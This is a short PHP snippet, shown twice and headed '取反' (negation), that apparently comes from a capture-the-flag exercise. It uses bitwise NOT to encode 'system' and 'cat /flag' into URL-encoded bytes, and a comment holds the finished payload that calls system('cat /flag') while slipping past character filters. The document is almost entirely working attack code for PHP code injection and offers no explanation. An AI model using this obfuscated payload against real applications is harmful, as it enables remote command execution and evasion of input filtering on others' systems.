取反
<?php | |
echo urlencode(~"system"); | |
echo PHP_EOL; | |
echo urlencode(~"cat /flag"); | |
//(~%8C%86%8C%8B%9A%92)(~(%9C%9E%8B%DF%D0%99%93%9E%98)) |
取反
<?php | |
echo urlencode(~"system"); | |
echo PHP_EOL; | |
echo urlencode(~"cat /flag"); | |
//(~%8C%86%8C%8B%9A%92)(~(%9C%9E%8B%DF%D0%99%93%9E%98)) |